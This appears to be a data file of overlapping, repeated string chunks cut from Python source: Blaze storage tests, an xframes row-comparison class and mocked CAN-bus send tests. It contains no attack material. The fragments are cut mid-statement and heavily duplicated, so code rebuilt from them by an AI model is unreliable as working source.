"= dshape('1,{ x: int32; y: int32 }') t = CTableSource(data=[(1, 1), (2, 2)],",
"= os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds,",
"'ctable') p = params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32 }') t",
"open function uri = 'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape ==",
"Create an array on disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds",
"params=p) del a # Open array with open function uri = 'carray://' +",
"params=p) del t # Open table with open function uri = 'ctable://' +",
"ds # Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds",
"function uri = 'carray://' + array_filename c = toplevel.open(uri) assert c.datashape == ds",
"t # Open table with open function uri = 'ctable://' + table_filename c",
"on disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{ x:",
"array with open function uri = 'carray://' + array_filename c = toplevel.open(uri) assert",
"CTableSource from blaze.eclass import eclass def test_open_carray(): with temp_dir() as temp: # Create",
"as toplevel from blaze.params import params from blaze import dshape from blaze.sources.chunked import",
"eclass def test_open_carray(): with temp_dir() as temp: # Create an array on disk",
"table on disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{",
"dshape=ds, params=p) del t # Open table with open function uri = 'ctable://'",
"blaze.test_utils import temp_dir import blaze.toplevel as toplevel from blaze.params import params from blaze",
"del t # Open table with open function uri = 'ctable://' + table_filename",
"p = params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32 }') t =",
"assert c.datashape == ds def test_open_ctable(): with temp_dir() as temp: # Create an",
"Open array with open function uri = 'carray://' + array_filename c = toplevel.open(uri)",
"with open function uri = 'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape",
"c = toplevel.open(uri) assert c.datashape == ds # Test delayed mode c =",
"int32 }') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t #",
"delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with",
"open function uri = 'carray://' + array_filename c = toplevel.open(uri) assert c.datashape ==",
"assert c.datashape == ds # Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert",
"on disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32') a",
"toplevel from blaze.params import params from blaze import dshape from blaze.sources.chunked import CArraySource,",
"eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with temp_dir() as temp: # Create",
"a = CArraySource([2], dshape=ds, params=p) del a # Open array with open function",
"1), (2, 2)], dshape=ds, params=p) del t # Open table with open function",
"table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{ x: int32; y:",
"function uri = 'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape == ds",
"dshape('1,{ x: int32; y: int32 }') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds,",
"import CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray(): with temp_dir() as temp:",
"= os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32",
"temp_dir() as temp: # Create an array on disk array_filename = os.path.join(temp, 'carray')",
"c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with temp_dir() as",
"def test_open_ctable(): with temp_dir() as temp: # Create an table on disk table_filename",
"array on disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32')",
"ds = dshape('1,{ x: int32; y: int32 }') t = CTableSource(data=[(1, 1), (2,",
"x: int32; y: int32 }') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p)",
"from blaze.test_utils import temp_dir import blaze.toplevel as toplevel from blaze.params import params from",
"}') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t # Open",
"blaze.eclass import eclass def test_open_carray(): with temp_dir() as temp: # Create an array",
"'carray://' + array_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed",
"disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds = dshape('1,{ x: int32;",
"== ds # Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape ==",
"Create an table on disk table_filename = os.path.join(temp, 'ctable') p = params(storage=table_filename) ds",
"+ array_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed mode",
"dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a # Open array with open",
"uri = 'ctable://' + table_filename c = toplevel.open(uri) assert c.datashape == ds #",
"= 'carray://' + array_filename c = toplevel.open(uri) assert c.datashape == ds # Test",
"import params from blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass",
"import eclass def test_open_carray(): with temp_dir() as temp: # Create an array on",
"= toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with temp_dir() as temp:",
"Open table with open function uri = 'ctable://' + table_filename c = toplevel.open(uri)",
"from blaze.eclass import eclass def test_open_carray(): with temp_dir() as temp: # Create an",
"dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray(): with",
"params(storage=table_filename) ds = dshape('1,{ x: int32; y: int32 }') t = CTableSource(data=[(1, 1),",
"table_filename c = toplevel.open(uri) assert c.datashape == ds # Test delayed mode c",
"blaze.toplevel as toplevel from blaze.params import params from blaze import dshape from blaze.sources.chunked",
"as temp: # Create an table on disk table_filename = os.path.join(temp, 'ctable') p",
"int32; y: int32 }') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del",
"dshape=ds, params=p) del a # Open array with open function uri = 'carray://'",
"toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable(): with temp_dir() as temp: #",
"toplevel.open(uri) assert c.datashape == ds # Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed)",
"CArraySource([2], dshape=ds, params=p) del a # Open array with open function uri =",
"table with open function uri = 'ctable://' + table_filename c = toplevel.open(uri) assert",
"params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a # Open",
"disk array_filename = os.path.join(temp, 'carray') p = params(storage=array_filename) ds = dshape('1,int32') a =",
"from blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass",
"# Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def",
"Test delayed mode c = toplevel.open(uri, eclass=eclass.delayed) assert c.datashape == ds def test_open_ctable():",
"(2, 2)], dshape=ds, params=p) del t # Open table with open function uri",
"blaze import dshape from blaze.sources.chunked import CArraySource, CTableSource from blaze.eclass import eclass def",
"y: int32 }') t = CTableSource(data=[(1, 1), (2, 2)], dshape=ds, params=p) del t",
"test_open_ctable(): with temp_dir() as temp: # Create an table on disk table_filename =",
"CArraySource, CTableSource from blaze.eclass import eclass def test_open_carray(): with temp_dir() as temp: #",
"temp_dir import blaze.toplevel as toplevel from blaze.params import params from blaze import dshape",
"uri = 'carray://' + array_filename c = toplevel.open(uri) assert c.datashape == ds #",
"import blaze.toplevel as toplevel from blaze.params import params from blaze import dshape from",
"p = params(storage=array_filename) ds = dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a",
"= dshape('1,int32') a = CArraySource([2], dshape=ds, params=p) del a # Open array with",
"ds def test_open_ctable(): with temp_dir() as temp: # Create an table on disk"
] |
[
"is less than other. Comparison is reversed when a row is marked descending.",
"one or more columns, and each one may be ascending or descending. This",
"needed comparison functions for sorting. Rows are assumed to be indexable collections of",
"indexable collections of values. Values may be any python type that itself is",
"left < right: return not ascending return False def equal(self, other): \"\"\" True",
"\"\"\" for index in self.indexes: left = self.row[index] right = other.row[index] if left",
"These are the comparison interface def __lt__(self, other): return self.less(other) def __gt__(self, other):",
"__lt__(self, other): return self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self, other): return",
"self.row[index] right = other.row[index] if left < right: return ascending if left >",
"self is equal to other. Only comparison fields are used in this test.",
"collections of values. Values may be any python type that itself is comparable.",
"comparing the rows, and each ones ascending/descending flag. It provides the needed comparison",
"wrapper for ascending or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for a",
"right: return not ascending return False def equal(self, other): \"\"\" True when self",
"return not ascending return False def equal(self, other): \"\"\" True when self is",
"> right: return ascending if left < right: return not ascending return False",
"itself is comparable. The underlying python comparison functions are used on these values.",
"return self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self, other): return self.less(other) or",
"comparison functions are used on these values. \"\"\" def __init__(self, row, indexes, ascending):",
"of values. Values may be any python type that itself is comparable. The",
"right: return not ascending return False def greater(self, other): \"\"\" True if self",
"less than other. Comparison is reversed when a row is marked descending. \"\"\"",
"comparison fields are used in this test. \"\"\" for index in self.indexes: left",
"are assumed to be indexable collections of values. Values may be any python",
"zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left > right: return",
"row, indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row = row self.indexes",
"left > right: return ascending if left < right: return not ascending return",
"in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left > right:",
"True when self is equal to other. Only comparison fields are used in",
"ascending/descending flag. It provides the needed comparison functions for sorting. Rows are assumed",
"wrapper for a row. Rows can be sorted on one or more columns,",
"reversed when a row is marked descending. \"\"\" for index, ascending in zip(self.indexes,",
"test. \"\"\" for index in self.indexes: left = self.row[index] right = other.row[index] if",
"that itself is comparable. The underlying python comparison functions are used on these",
"This class wraps the row, remembers the column indexes used for comparing the",
"rows, and each ones ascending/descending flag. It provides the needed comparison functions for",
"index in self.indexes: left = self.row[index] right = other.row[index] if left > right:",
"\"\"\" Instantiate a wrapped row. \"\"\" self.row = row self.indexes = indexes self.ascending",
"ones ascending/descending flag. It provides the needed comparison functions for sorting. Rows are",
"type that itself is comparable. The underlying python comparison functions are used on",
"self.row = row self.indexes = indexes self.ascending = ascending def less(self, other): \"\"\"",
"left > right: return not ascending return False def greater(self, other): \"\"\" True",
"self.ascending): left = self.row[index] right = other.row[index] if left > right: return ascending",
"= self.row[index] right = other.row[index] if left > right: return False if left",
"right: return False if left < right: return False return True # These",
"def __eq__(self, other): return self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other) def",
"a wrapped row. \"\"\" self.row = row self.indexes = indexes self.ascending = ascending",
"is reversed when a row is marked descending. \"\"\" for index, ascending in",
"left = self.row[index] right = other.row[index] if left > right: return ascending if",
"right: return ascending if left > right: return not ascending return False def",
"less(self, other): \"\"\" True if self is less than other. Comparison is reversed",
"left < right: return ascending if left > right: return not ascending return",
"self is less than other. Comparison is reversed when a row is marked",
"used on these values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate a",
"wrapped row. \"\"\" self.row = row self.indexes = indexes self.ascending = ascending def",
"can be sorted on one or more columns, and each one may be",
"if left > right: return not ascending return False def greater(self, other): \"\"\"",
"descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for a row. Rows can be",
"self.indexes = indexes self.ascending = ascending def less(self, other): \"\"\" True if self",
"if self is greater than other. Comparison is reversed when a row is",
"\"\"\" True when self is equal to other. Only comparison fields are used",
"and each one may be ascending or descending. This class wraps the row,",
"be ascending or descending. This class wraps the row, remembers the column indexes",
"row. Rows can be sorted on one or more columns, and each one",
"right = other.row[index] if left > right: return False if left < right:",
"interface def __lt__(self, other): return self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self,",
"each one may be ascending or descending. This class wraps the row, remembers",
"values. Values may be any python type that itself is comparable. The underlying",
"may be any python type that itself is comparable. The underlying python comparison",
"\"\"\" for index, ascending in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index]",
"return False def greater(self, other): \"\"\" True if self is greater than other.",
"False def equal(self, other): \"\"\" True when self is equal to other. Only",
"sorted on one or more columns, and each one may be ascending or",
"and each ones ascending/descending flag. It provides the needed comparison functions for sorting.",
"\"\"\" True if self is greater than other. Comparison is reversed when a",
"__eq__(self, other): return self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other) def __ge__(self,",
"# Row comparison wrapper for ascending or descending comparison. class CmpRows(object): \"\"\" Comparison",
"ascending or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for a row. Rows",
"the column indexes used for comparing the rows, and each ones ascending/descending flag.",
"self.indexes: left = self.row[index] right = other.row[index] if left > right: return False",
"comparison functions for sorting. Rows are assumed to be indexable collections of values.",
"for comparing the rows, and each ones ascending/descending flag. It provides the needed",
"sorting. Rows are assumed to be indexable collections of values. Values may be",
"__init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row = row",
"def __gt__(self, other): return self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self, other):",
"return self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other) def __ge__(self, other): return",
"any python type that itself is comparable. The underlying python comparison functions are",
"def __le__(self, other): return self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other) or",
"or descending. This class wraps the row, remembers the column indexes used for",
"for sorting. Rows are assumed to be indexable collections of values. Values may",
"on these values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped",
"other): return self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other) def __ge__(self, other):",
"flag. It provides the needed comparison functions for sorting. Rows are assumed to",
"for index in self.indexes: left = self.row[index] right = other.row[index] if left >",
"a row. Rows can be sorted on one or more columns, and each",
"ascending in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left >",
"CmpRows(object): \"\"\" Comparison wrapper for a row. Rows can be sorted on one",
"self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other) def __ne__(self, other):",
"than other. Comparison is reversed when a row is marked descending. \"\"\" for",
"True # These are the comparison interface def __lt__(self, other): return self.less(other) def",
"def __init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row =",
"other): \"\"\" True if self is less than other. Comparison is reversed when",
"True if self is less than other. Comparison is reversed when a row",
"row, remembers the column indexes used for comparing the rows, and each ones",
"in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left < right:",
"def __ge__(self, other): return self.greater(other) or self.equal(other) def __ne__(self, other): return not self.equal(other)",
"other. Only comparison fields are used in this test. \"\"\" for index in",
"\"\"\" self.row = row self.indexes = indexes self.ascending = ascending def less(self, other):",
"\"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row",
"self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other)",
"the row, remembers the column indexes used for comparing the rows, and each",
"Only comparison fields are used in this test. \"\"\" for index in self.indexes:",
"= self.row[index] right = other.row[index] if left < right: return ascending if left",
"or self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other) def __ne__(self, other): return",
"= other.row[index] if left > right: return False if left < right: return",
"if left > right: return False if left < right: return False return",
"columns, and each one may be ascending or descending. This class wraps the",
"comparable. The underlying python comparison functions are used on these values. \"\"\" def",
"right = other.row[index] if left < right: return ascending if left > right:",
"if left < right: return not ascending return False def equal(self, other): \"\"\"",
"ascending return False def equal(self, other): \"\"\" True when self is equal to",
"fields are used in this test. \"\"\" for index in self.indexes: left =",
"\"\"\" True if self is less than other. Comparison is reversed when a",
"< right: return ascending if left > right: return not ascending return False",
"comparison wrapper for ascending or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for",
"used for comparing the rows, and each ones ascending/descending flag. It provides the",
"ascending in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left <",
"index, ascending in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left",
"zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if left < right: return",
"The underlying python comparison functions are used on these values. \"\"\" def __init__(self,",
"= indexes self.ascending = ascending def less(self, other): \"\"\" True if self is",
"may be ascending or descending. This class wraps the row, remembers the column",
"column indexes used for comparing the rows, and each ones ascending/descending flag. It",
"class CmpRows(object): \"\"\" Comparison wrapper for a row. Rows can be sorted on",
"return not ascending return False def greater(self, other): \"\"\" True if self is",
"used in this test. \"\"\" for index in self.indexes: left = self.row[index] right",
"right: return ascending if left < right: return not ascending return False def",
"remembers the column indexes used for comparing the rows, and each ones ascending/descending",
"Row comparison wrapper for ascending or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper",
"for a row. Rows can be sorted on one or more columns, and",
"False def greater(self, other): \"\"\" True if self is greater than other. Comparison",
"greater than other. Comparison is reversed when a row is marked descending. \"\"\"",
"< right: return not ascending return False def equal(self, other): \"\"\" True when",
"return True # These are the comparison interface def __lt__(self, other): return self.less(other)",
"<filename>xframes/cmp_rows.py # Row comparison wrapper for ascending or descending comparison. class CmpRows(object): \"\"\"",
"right: return False return True # These are the comparison interface def __lt__(self,",
"def __lt__(self, other): return self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self, other):",
"True if self is greater than other. Comparison is reversed when a row",
"when a row is marked descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending):",
"ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row = row self.indexes = indexes",
"self.ascending = ascending def less(self, other): \"\"\" True if self is less than",
"self is greater than other. Comparison is reversed when a row is marked",
"more columns, and each one may be ascending or descending. This class wraps",
"= other.row[index] if left > right: return ascending if left < right: return",
"is greater than other. Comparison is reversed when a row is marked descending.",
"equal to other. Only comparison fields are used in this test. \"\"\" for",
"Values may be any python type that itself is comparable. The underlying python",
"python comparison functions are used on these values. \"\"\" def __init__(self, row, indexes,",
"= self.row[index] right = other.row[index] if left > right: return ascending if left",
"is comparable. The underlying python comparison functions are used on these values. \"\"\"",
"other): return self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self, other): return self.equal(other)",
"a row is marked descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending): left",
"is equal to other. Only comparison fields are used in this test. \"\"\"",
"greater(self, other): \"\"\" True if self is greater than other. Comparison is reversed",
"self.row[index] right = other.row[index] if left > right: return ascending if left <",
"def greater(self, other): \"\"\" True if self is greater than other. Comparison is",
"wraps the row, remembers the column indexes used for comparing the rows, and",
"indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\" self.row = row self.indexes =",
"values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped row. \"\"\"",
"Comparison wrapper for a row. Rows can be sorted on one or more",
"be any python type that itself is comparable. The underlying python comparison functions",
"Comparison is reversed when a row is marked descending. \"\"\" for index, ascending",
"other): return self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self, other): return self.less(other)",
"to be indexable collections of values. Values may be any python type that",
"# These are the comparison interface def __lt__(self, other): return self.less(other) def __gt__(self,",
"if left < right: return ascending if left > right: return not ascending",
"are used in this test. \"\"\" for index in self.indexes: left = self.row[index]",
"= ascending def less(self, other): \"\"\" True if self is less than other.",
"be sorted on one or more columns, and each one may be ascending",
"ascending return False def greater(self, other): \"\"\" True if self is greater than",
"or more columns, and each one may be ascending or descending. This class",
"for ascending or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for a row.",
"assumed to be indexable collections of values. Values may be any python type",
"def less(self, other): \"\"\" True if self is less than other. Comparison is",
"if self is less than other. Comparison is reversed when a row is",
"indexes used for comparing the rows, and each ones ascending/descending flag. It provides",
"ascending if left < right: return not ascending return False def equal(self, other):",
"the comparison interface def __lt__(self, other): return self.less(other) def __gt__(self, other): return self.greater(other)",
"< right: return False return True # These are the comparison interface def",
"indexes self.ascending = ascending def less(self, other): \"\"\" True if self is less",
"> right: return not ascending return False def greater(self, other): \"\"\" True if",
"not ascending return False def greater(self, other): \"\"\" True if self is greater",
"functions for sorting. Rows are assumed to be indexable collections of values. Values",
"be indexable collections of values. Values may be any python type that itself",
"ascending def less(self, other): \"\"\" True if self is less than other. Comparison",
"descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending): left = self.row[index] right =",
"other): return self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other) def",
"right = other.row[index] if left > right: return ascending if left < right:",
"equal(self, other): \"\"\" True when self is equal to other. Only comparison fields",
"__gt__(self, other): return self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self, other): return",
"if left > right: return ascending if left < right: return not ascending",
"when self is equal to other. Only comparison fields are used in this",
"in this test. \"\"\" for index in self.indexes: left = self.row[index] right =",
"python type that itself is comparable. The underlying python comparison functions are used",
"on one or more columns, and each one may be ascending or descending.",
"functions are used on these values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\"",
"not ascending return False def equal(self, other): \"\"\" True when self is equal",
"__le__(self, other): return self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other)",
"to other. Only comparison fields are used in this test. \"\"\" for index",
"self.row[index] right = other.row[index] if left > right: return False if left <",
"False return True # These are the comparison interface def __lt__(self, other): return",
"row self.indexes = indexes self.ascending = ascending def less(self, other): \"\"\" True if",
"return ascending if left < right: return not ascending return False def equal(self,",
"these values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate a wrapped row.",
"It provides the needed comparison functions for sorting. Rows are assumed to be",
"the needed comparison functions for sorting. Rows are assumed to be indexable collections",
"other.row[index] if left > right: return False if left < right: return False",
"other. Comparison is reversed when a row is marked descending. \"\"\" for index,",
"return False if left < right: return False return True # These are",
"each ones ascending/descending flag. It provides the needed comparison functions for sorting. Rows",
"self.ascending): left = self.row[index] right = other.row[index] if left < right: return ascending",
"other): \"\"\" True when self is equal to other. Only comparison fields are",
"class wraps the row, remembers the column indexes used for comparing the rows,",
"other.row[index] if left > right: return ascending if left < right: return not",
"for index, ascending in zip(self.indexes, self.ascending): left = self.row[index] right = other.row[index] if",
"are the comparison interface def __lt__(self, other): return self.less(other) def __gt__(self, other): return",
"left < right: return False return True # These are the comparison interface",
"Rows are assumed to be indexable collections of values. Values may be any",
"Rows can be sorted on one or more columns, and each one may",
"is marked descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending): left = self.row[index]",
"provides the needed comparison functions for sorting. Rows are assumed to be indexable",
"comparison interface def __lt__(self, other): return self.less(other) def __gt__(self, other): return self.greater(other) def",
"self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other) def __ne__(self, other): return not",
"self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self, other): return self.equal(other) def __le__(self,",
"return ascending if left > right: return not ascending return False def greater(self,",
"row is marked descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending): left =",
"or descending comparison. class CmpRows(object): \"\"\" Comparison wrapper for a row. Rows can",
"= other.row[index] if left < right: return ascending if left > right: return",
"return False def equal(self, other): \"\"\" True when self is equal to other.",
"other.row[index] if left < right: return ascending if left > right: return not",
"are used on these values. \"\"\" def __init__(self, row, indexes, ascending): \"\"\" Instantiate",
"other): \"\"\" True if self is greater than other. Comparison is reversed when",
"left > right: return False if left < right: return False return True",
"Instantiate a wrapped row. \"\"\" self.row = row self.indexes = indexes self.ascending =",
"one may be ascending or descending. This class wraps the row, remembers the",
"left = self.row[index] right = other.row[index] if left > right: return False if",
"> right: return False if left < right: return False return True #",
"return False return True # These are the comparison interface def __lt__(self, other):",
"self.equal(other) def __le__(self, other): return self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other)",
"this test. \"\"\" for index in self.indexes: left = self.row[index] right = other.row[index]",
"ascending or descending. This class wraps the row, remembers the column indexes used",
"the rows, and each ones ascending/descending flag. It provides the needed comparison functions",
"comparison. class CmpRows(object): \"\"\" Comparison wrapper for a row. Rows can be sorted",
"\"\"\" Comparison wrapper for a row. Rows can be sorted on one or",
"if left < right: return False return True # These are the comparison",
"= row self.indexes = indexes self.ascending = ascending def less(self, other): \"\"\" True",
"descending. This class wraps the row, remembers the column indexes used for comparing",
"ascending if left > right: return not ascending return False def greater(self, other):",
"def equal(self, other): \"\"\" True when self is equal to other. Only comparison",
"marked descending. \"\"\" for index, ascending in zip(self.indexes, self.ascending): left = self.row[index] right",
"return self.less(other) or self.equal(other) def __ge__(self, other): return self.greater(other) or self.equal(other) def __ne__(self,",
"underlying python comparison functions are used on these values. \"\"\" def __init__(self, row,",
"left = self.row[index] right = other.row[index] if left < right: return ascending if",
"return self.less(other) def __gt__(self, other): return self.greater(other) def __eq__(self, other): return self.equal(other) def",
"in self.indexes: left = self.row[index] right = other.row[index] if left > right: return",
"False if left < right: return False return True # These are the",
"row. \"\"\" self.row = row self.indexes = indexes self.ascending = ascending def less(self,"
] |
[
"encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database",
"accuracy of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data",
"accuracy of parameters passed into can_send_raw\"\"\" # Stores parameters passed into can_util.send_message #",
"raises an Exception if CAN msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id",
"parameter_test(msg_id, data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data self.device_id = device_id",
"can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None # pylint: disable=missing-docstring",
"1 msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers parameter test can_msg =",
"must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some message\", \"vcan0\", time=20) self.assertEqual(1, self.arbitration_id)",
"2] # Calling bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value = 3",
"raised when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database = Mock() database.get_message_by_name.return_value",
"an Exception if msg_obj data cannot be encoded\"\"\" msg_obj = Mock() msg_obj.frame_id =",
"bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value = 3 can_msg.send.side_effect = parameter_test",
"= [1, 2] # Calling bus.send() triggers parameter test can_msg = Mock() can_msg.send.return_value",
"can_send_raw, mock_msg_id, mock_data) @patch('cantools.database.load_file') def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception",
"an Exception if no file is found\"\"\" mock_cantools_load_file.side_effect = can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\")",
"def test_load_dbc_fail(self, mock_cantools_load_file): \"\"\"Tests that load_dbc raises an Exception if no file is",
"into can_send\"\"\" # pylint: disable=attribute-defined-outside-init self.arbitration_id = None self.data = None # pylint:",
"test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception if msg_obj data cannot be",
"mock_get_bus.return_value = can_msg # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\") can_send(\"some",
"from unittest.mock import patch, Mock import can import cantools import can_util from message_defs",
"import unittest from unittest.mock import patch, Mock import can import cantools import can_util",
"mock object with frame_id attribute and encode function msg_obj = Mock() msg_obj.frame_id =",
"data, device_id=BABYDRIVER_DEVICE_ID, channel=None): self.msg_id = msg_id self.data = data self.device_id = device_id self.channel",
"self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an Exception if",
"functions in Babydriver's can_send module\"\"\" @patch('can_util.send_message') def test_can_send_raw_parameters(self, mock_send_message): \"\"\"Tests accuracy of parameters",
"encoded\"\"\" msg_obj = Mock() msg_obj.frame_id = 1 # An error is raised when",
"parameters passed into parameter_test mock_send_message.side_effect = parameter_test can_send_raw(0, [10, 255, 0], BABYDRIVER_DEVICE_ID, None)",
"before using can_send load_dbc(\"./some_file_path\") self.assertRaises(Exception, can_send, \"some message\") if __name__ == '__main__': unittest.main()",
"Module Tests methods in can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock import",
"None self.device_id = None self.channel = None # pylint: disable=missing-docstring def parameter_test(msg_id, data,",
"database mock_get_bus.return_value = can_msg # dbc_database must be initialized before using can_send load_dbc(\"./some_file_path\")",
"self.assertEqual(0, self.msg_id) self.assertEqual([10, 255, 0], self.data) self.assertEqual(BABYDRIVER_DEVICE_ID, self.device_id) self.assertEqual(None, self.channel) @patch('can_util.send_message') def test_can_send_raw_fail(self,",
"unittest from unittest.mock import patch, Mock import can import cantools import can_util from",
"msg fails to send\"\"\" mock_send_message.side_effect = can.CanError mock_msg_id = 0 mock_data = [0,",
"attribute and encode function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1,",
"self.assertEqual(1, self.arbitration_id) self.assertEqual(bytearray(b'\\x01\\x02'), self.data) @patch('cantools.database.load_file') def test_can_send_fail(self, mock_load_file): \"\"\"Tests that can_send raises an",
"test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of paramters passed into can_send\"\"\" # pylint: disable=attribute-defined-outside-init",
"msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] # Calling bus.send()",
"An error is raised when msg_obj data is encoded msg_obj.encode.side_effect = can.CanError database",
"Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value = [1, 2] # Calling bus.send() triggers parameter",
"= Mock() msg_obj.frame_id = 1 # An error is raised when msg_obj data",
"can.CanError self.assertRaises(Exception, load_dbc, \"./some-file-path\") @patch('cantools.database.load_file') @patch('can_util.get_bus') def test_can_send_parameters(self, mock_get_bus, mock_load_file): \"\"\"Tests accuracy of",
"mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database must be initialized before using",
"with frame_id attribute and encode function msg_obj = Mock() msg_obj.frame_id = 1 msg_obj.encode.return_value",
"Tests methods in can_send.py\"\"\" # pylint: disable=unused-import import unittest from unittest.mock import patch,",
"= msg_obj mock_load_file.return_value = database # dbc_database must be initialized before using can_send",
"database.get_message_by_name.return_value = msg_obj mock_load_file.return_value = database mock_get_bus.return_value = can_msg # dbc_database must be",
"data self.device_id = device_id self.channel = channel # Checks whether parameters passed into",
